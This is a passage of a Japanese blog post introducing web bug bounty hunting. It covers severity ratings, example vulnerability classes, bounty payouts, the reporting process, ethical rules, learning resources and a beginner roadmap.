  • Not Applicable​: 脆弱性ではない
  • Spam: スパム判定

docs.hackerone.com


Severity

報告した脆弱性には、脆弱性の深刻度を示す重大度(Severity)が付けられて、基本的に CVSS (Common Vulnerability Scoring System, 共通脆弱性評価システム)によって判断します。

Severity Score
Critical 9.0 ~ 10.0
High 7.0 ~ 8.9
Medium 4.0 ~ 6.9
Low 0.1 ~ 3.9
None 0.0

docs.hackerone.com

脆弱性の重大度は、その場面で脆弱性が行うことが可能な脅威や条件、プログラムの規約によって判断が異なるため、一概に脆弱性名(CWE)で判断することはできません。

実際に公開されている報告書を参考に見てみるとわかりやすいかと思います。


参考までに、僕が実際にバグバウンティで報告した際の脆弱性の重大度は以下のような例があります。(一部紹介)

過去に報告した脆弱性報告の重大度の例 (クリックで表示)

  • Critical
    • Stored XSS による Account Takeover
    • Reflected XSS による管理者ユーザーの Account Takeover
    • SSRF によるクラウドのメタデータの漏洩
  • High
    • Stored XSS
    • IDOR によるユーザー情報の改ざん
    • Cache Poisoning による機微な情報の漏洩
    • Reflected XSS や Header Injection による一般ユーザーの Account Takeover
  • Medium
    • Reflected XSS
    • CSRF
    • IDOR によるユーザー情報の漏洩
    • CORS Misconfiguration
  • Low
    • Open Redirect
    • メールフォームにおける HTML Injection
    • PHPinfo ページの開示


Bounty

報告した脆弱性が認定(Accepted)された場合は、そのプログラムで提示されている報酬金(Bounty)を受け取ることができます。

報酬金は、Scope や 重大度(Severity)ごとに異なる提示がされていることが多く、報酬金の対象外もあります。

報酬金の金額感は、会社やプログラムによって異なるため、実際に公開されているプログラムの報酬金を参考に見てみると良いと思います。

例えば、LINE の場合は、以下のような報酬金額が提示されています。

また、報酬金が対象外でも会社によっては企業のオリジナルグッズなどの Swag が代わりに貰えたりします。(Sony は T シャツが貰えます)

hackerone.com


参考までに、僕が初めてバグバウンティで報酬金を受け取った報告は、Reflected XSS (Severity: Medium)を報告して € 250 の報酬金を受け取りました。(当時は約3万円でした)


7. 脆弱性の発見から修正まで

バグバウンティの対象で脆弱性を発見した場合は、以下のような流れで報告・報酬金の取得・修正確認を行います。

  1. 脆弱性を発見して報告書を書き、報告する
  2. バグバウンティプラットフォームのスタッフによって、トリアージされる
  3. 脆弱性報告が Accepted された場合は、報酬金が受け取れる
  4. 数日後に指定の口座や PayPal のアカウントなどに報酬金が支払われる
  5. 企業から脆弱性修正が完了した連絡がきて、修正確認をする
  6. もし修正後も脆弱性がある場合は、再度その内容を報告する
  7. 再度トリアージされて、修正後も脆弱性があった場合は、ボーナスとして追加の報酬金が貰える場合がある
  8. 最終的に脆弱性の修正が完了したら、報告書は Close されて連絡が終わる


注意点

バグバウンティの対象で脆弱性を探す場合は、いくつかの注意点があります。

  • プログラムで定義された Scope 内のみが許可されて脆弱性の調査をして良いため、それ以外の対象(エンドポイント)に攻撃的なペイロードを投げるなどをしてはならない
  • 既にサービス展開されている Web アプリケーションがほとんどのため、ファジング系(総当たり)のツールはあまり使用しないようが好ましい
    • プログラムによっては規約に具体的なレート制限を設けている場合があるため、もし記載があればそれに従うようにする
    • WAF によってブロックされる可能性もある
  • アカウント間の認可制御をチェックする場合は、アカウントを複数用意して自分が保持するテストアカウント間で認可制御のチェックをするようにする
    • 実際に登録されている他人のアカウントから個人情報や機微な情報を取得してしまわないようにする
  • SQL Injection 等のデータの破壊ができてしまう脆弱性を発見した場合は、DELETE 等のデータ操作を行わないようにする
  • アカウントの登録には、バグバウンティプラットフォームが用意したエイリアス付きのドメインのメールアドレスを利用するようにする
    • HackerOne: [username]+[any_identifier]@wearehackerone.com
    • Bugcrowd: [username]+[any_identifier]@bugcrowdninja.com
    • Intigriti: [username]+[any_identifier]@intigriti.me
  • 発見した脆弱性は、勝手に他人に公言したりブログ等で公開してはならない
    • 脆弱性が修正されるまでは、その脆弱性情報はゼロデイ(0-day)に当てはまるから
    • 脆弱性を報告した企業から公開の許可が降りれば、報告書の公開やブログ等で解説記事を公開しても良い (要確認する)

バグバウンティの対象で脆弱性調査する際は、リアルワールドで動いている既存のサービスという認識を忘れずに、各プログラムの規約を必ず守るようにしましょう。

また、セキュリティに携わる者として、「倫理観」を持って取り組むこともとても大切です。


8. その他

Bug Bounty Tips

バグバウンティのバグハントに活かせる知見や Tips (ヒント)を他のバグハンターやセキュリティリサーチャーから得ることは、非常に役に立ちます。

Bug Bounty Tips を得る方法は色々とありますが、いくつか紹介します。

X (Twitter)

  • 検索で「#bugbountytip | #bugbountytips」などのハッシュタグの付いたツイートから情報を得る
  • 有名なバグバウンティハンターやセキュリティリサーチャーなどのツイートから情報を得る

Medium

  • Bug Bounty Tips などのタグの付いたブログから情報を得る

Reddit

  • r/bugbounty などのコミュニティチャンネルから情報を得る

Discord・Slack

PortSwigger

YouTube


また、HackerOne などで公開されている報告書をひたすら読み、どういう機能にどういった脆弱性があるかを知ることもとても重要です。

以下の GitHub リポジトリには、各脆弱性ごとの報告書が多く記載してまとまっているため、始めはここから大量に読んで自分なりに Tips をまとめたりすると良いと思います。

github.com


学習教材

各バグバウンティプラットフォームは、以下のような学習教材を用意しているため、これらに取り組んだり参考にすることをお勧めします。

Hacker101

www.hacker101.com

Bugcrowd University

www.bugcrowd.com

Intigriti Hackademy

blog.intigriti.com


Web Security の場合

まず Web Security に関する知見を得るには、以下のような書籍やコンテンツから学ぶことをお勧めします。

書籍

学習コンテンツ

GitHub コンテンツ

Udemy


CTF・HTB とバグバウンティの違い

CTF の Web 問や HTB (Hack The Box) とバグバウンティには、主に以下のような違いがあります。

環境

  • CTF・HTB: 用意された脆弱な環境 (やられ環境)
  • バグバウンティ: サービス展開されているリアルワールドな環境

思想 (前提)

  • CTF・HTB: 脆弱性が必ず作り込まれている状態で探す
  • バグバウンティ: 脆弱性があるかないか定かでない状態で探す

脆弱性

  • CTF・HTB: 作問者によって意図的に作られた脆弱性
  • バグバウンティ: 開発者のミスや不注意によって作られた脆弱性

ソースコード

  • CTF: ホワイトボックスでソースコードが見れる状態が多い
  • バグバウンティ: ブラックボックスでソースコードが見れない状態 (OSS でない限り)

最終ゴール

  • CTF・HTB: 脆弱性を突いて取得した Flag を回答する
  • バグバウンティ: 脆弱性の概要や検証方法などを報告書にまとめて報告する

報酬

  • CTF・HTB: 解けた人の全員にポイントが貰える
  • バグバウンティ: 第一報告者のみに報酬金が貰える

これらの違いはありますが、脆弱性を探すという根本的な目的は同じかと思います。


僕の場合は CTF や HTB (Pro Hacker)もある程度取り組んでいましたが、個人的にはリアルワールドでまだ見つかってない脆弱性を探したり、見つけた脆弱性の脅威(Impact)を高めたりするのが楽しくて、バグバウンティを好んでいます。


[Blog] Bug Bounty Hunter の実態調査まとめ

バグバウンティで脆弱性を探す Bug Bounty Hunter については、以下で簡単にまとめているため、良ければこちらもご覧ください。

scgajge12.hatenablog.com


ツール周り

[Blog] おすすめの Burp Extensions 10選

Web アプリケーションに対して脆弱性を探す場合に使える Burp Suite のおすすめの拡張機能について、紹介しています。

scgajge12.hatenablog.com

[Blog] おすすめのツール10選

Web アプリケーションに対して脆弱性を探す場合によく使われるおすすめのツールについて、紹介しています。

scgajge12.hatenablog.com

[Blog] おすすめのブラウザ拡張機能10選

Web アプリケーションに対して脆弱性を探す手助けに使えるブラウザの拡張機能について、紹介しています。

scgajge12.hatenablog.com


脆弱性報告の事例

[Blog] Web の Critical な脆弱性報告の事例まとめ

scgajge12.hatenablog.com

[Blog] モバイルアプリの脆弱性報告の事例まとめ

scgajge12.hatenablog.com

[Blog] 人気脆弱性報告 Top 10 (2023年版)

scgajge12.hatenablog.com


9. まとめ (ロードマップ)

以上のことを踏まえて、始めてバグバウンティで Web アプリケーションの脆弱性を探して見つけたい方は、以下のようにすると良いと思います。

  1. Web Security の学習前に Web の主な仕組みや技術を学習する
    • 実際に Web アプリケーションのソースコードを読んだり、開発したりして、どのように動いているのかを学習する
      • 特に PHP などのバックエンドの言語や JavaScript など
  2. Web Security の学習で脆弱性の概要や検証方法、修正方法などを学習する
    • 学習教材で示した内容に取り組んでみる
      • 始めは書籍類や Web Security Academy がおすすめ
    • CTF の Web 問や HTB の Web の脆弱性に因んだマシンに取り組むのもおすすめ
  3. 公開されている脆弱性の報告書や既知の脆弱性(CVE)などからリアルワールドで発生しやすい脆弱性の特徴を習得する
    • 実際に脆弱性を作り込んでみたり、既知の脆弱性を検証したりするのもおすすめ
    • 一般的な脆弱性だけでなく、特定の仕様に発生しやすいロジックの不備などから、どういうことができるとリスクとなるかを事例から知ったり考えたりする
  4. Bug Bounty Tips より、バグバウンティ特有の考え方やアプローチ方法などを習得する
  5. ある程度の脆弱性を探すスキルが身に付いたら、実際にバグバウンティなどで脆弱性を探してみる
    • 実力試しとしてチャレンジ！


[Blog] OSS のバグハント入門 (CVE)

また、個人的にはバグバウンティの対象で脆弱性を発見するより、OSS を対象に脆弱性を発見する方が、多少ハードルが低いと思います。

そのため、まずは先に OSS を対象に脆弱性を調査・報告して、CVE ID を取得してみることも良いと思います。

以下のブログも合わせてご覧ください。

scgajge12.hatenablog.com


10. 終わりに

本稿では、バグバウンティの入門として、主に Web アプリケーションを対象にした脆弱性の発見・報告・報酬金の取得について紹介しました。

文字数の量が大変多くなりましたが、バグバウンティに興味を持ってた方や始めたい方に少しでも参考になれば幸いです。

また、今回はあまり脆弱性の発見方法に着目して深く紹介しませんでしたが、もし気になる方やバグバウンティに興味がある方がいれば、ぜひ DM にてご連絡ください。

日本人でバグバウンティに取り組む方が増えれば、Discord などでワイワイできて盛り上がると思うので集まれれば嬉しいです。

ここまでお読みいただきありがとうございました。



更新履歴

2023/09/28

  • Synack の審査プロセスにコメントを追加しました
  • プログラムの選び方に「programs-watcher」を追加しました
  • Top 10 Vulnerabilities に「Top 10 Web Hacking Techniques」を追加しました
  • 脆弱性の探し方 (アプローチ編)に「Self XSS が OoS に記載されていて実際に Self XSS があった場合」のコメントを追加しました
  • 注意点に「SQL Injection 等のデータの破壊ができてしまう脆弱性を発見した場合」のコメントを追加しました

2023/10/25

  • 「バグバウンティにおけるBug Bounty Hunterの実態調査まとめ」のブログを追加しました
  • 学習教材に「BugBountyHunter」と「Resources-for-Beginner-Bug-Bounty-Hunters」を追加しました

2023/12/07

  • 注意点に「不正アクセス行為の禁止等に関する法律」を追加しました
  • 「バグバウンティで使えるおすすめの Burp Extensions 10選」のブログを追加しました
  • 「バグバウンティで使えるおすすめのツール10選」のブログを追加しました
  • 「バグバウンティにおける JavaScript の静的解析と動的解析まとめ」のブログを追加しました
  • 「バグバウンティで使えるおすすめのブラウザ拡張機能10選」のブログを追加しました

2023/12/08

  • 脆弱性の報告で「Quality Reports」と「Reporting a Bug」を追加しました

2023/12/13

  • 「bbradar.io」のリンクを追加しました
  • 「バグバウンティにおける Critical な脆弱性報告の事例まとめ」のブログを追加しました
  • 「バグバウンティにおけるモバイルアプリの脆弱性報告の事例まとめ」のブログを追加しました
  • イベント「P3NFEST (ペンフェスト)」の紹介を追加しました

2023/12/27

  • 「バグバウンティにおける人気脆弱性報告 Top 10 (2023年版)」のブログを追加しました

2024/01/17

  • 「バグバウンティにおける XSS の具体的な脅威の事例まとめ」のブログを追加しました

2024/02/13

  • 「Bug Bounty JP Podcast」の紹介を追加しました。